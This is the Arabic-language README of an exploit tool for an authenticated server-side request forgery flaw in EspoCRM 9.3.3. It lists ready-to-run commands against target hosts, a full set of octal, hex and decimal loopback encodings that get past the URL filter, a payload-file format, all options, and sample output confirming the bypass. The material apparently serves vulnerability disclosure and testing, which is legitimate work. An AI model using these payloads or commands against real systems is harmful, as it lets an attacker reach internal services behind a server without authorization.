
# EspoCRM 9.3.3 - SSRF مُصادَق عليه عبر ترميز IPv4 البديل
إثبات مفهوم لثغرة SSRF بعد المصادقة في EspoCRM 9.3.3 عبر تدوين بديل لعنوان IPv4 الحلقي في نقطة النهاية /api/v1/Attachment/fromImageUrl.
يقوم EspoCRM 9.3.3 بحظر عناوين URL الحلقية المباشرة مثل http://127.0.0.1/...، لكن مسار الجلب من جانب الخادم يقبل تمثيلات بديلة لعنوان IPv4 يقوم cURL بتطبيعها إلى العنوان الحلقي. وهذا يسمح لمستخدم مصادق عليه لديه حق الوصول إلى تدفق رفع المرفقات/الصور المتأثر بجعل خادم EspoCRM يجلب موارد داخلية.
يقدم الاستغلال أولاً طلب تحكم مباشر بـ 127.0.0.1 ويتوقع حظره برمز HTTP 403. ثم يختبر حمولات متعددة مشفرة للعنوان الحلقي ويبلغ عن أي منها ينتج مرفقًا مخزنًا.
requestsتثبيت التبعية:
python3 -m pip install requests
تحقق محلي أساسي ضد مثيل EspoCRM يعمل على المنفذ 8083:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
اختبار خدمة داخلية على منفذ ومسار مخصصين:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
استخدام حمولات مخصصة فقط:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
يختبر الاستغلال تمثيلات المضيف الحلقي التالية افتراضيًا:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
يتم دعم ملفات الحمولات المخصصة. يمكن أن يكون كل سطر إما:
host
label=host
مثال:
hex-dword=0x7f000001
decimal-dword=2130706433
التشغيل باستخدام:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url عنوان URL الأساسي لـ EspoCRM
-U, --username اسم مستخدم EspoCRM
-P, --password كلمة مرور EspoCRM
--internal-port المنفذ الحلقي الداخلي للجلب
--internal-path المسار الداخلي للجلب
--payload تدوين إضافي للمضيف الحلقي
--payload-file ملف يحتوي على حمولة مضيف واحدة لكل سطر
--no-default-payloads استخدام الحمولات المخصصة فقط
--field حقل المرفق، الافتراضي: avatar
--parent-type نوع الكيان الأصلي، الافتراضي: User
--parent-id معرف الكيان الأصلي الاختياري
--cleanup حذف المرفقات التي تم إنشاؤها بواسطة الحمولات الناجحة
--stop-on-first التوقف بعد أول تجاوز ناجح
--insecure تعطيل التحقق من شهادة TLS
يظهر الاستغلال الناجح حظر التحكم الحلقي المباشر وقبول حمولة أو أكثر مشفرة:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg من مستمع الحلقة الخاص بالهدف. اضبط --internal-port و --internal-path لخدمة داخلية أخرى.User.avatar؛ استخدم --field و --parent-type و --parent-id إذا كان الحساب المختبر يحتاج سياق رفع مختلفًا.--cleanup أثناء الاختبار لحذف المرفقات التي تم إنشاؤها تلقائيًا.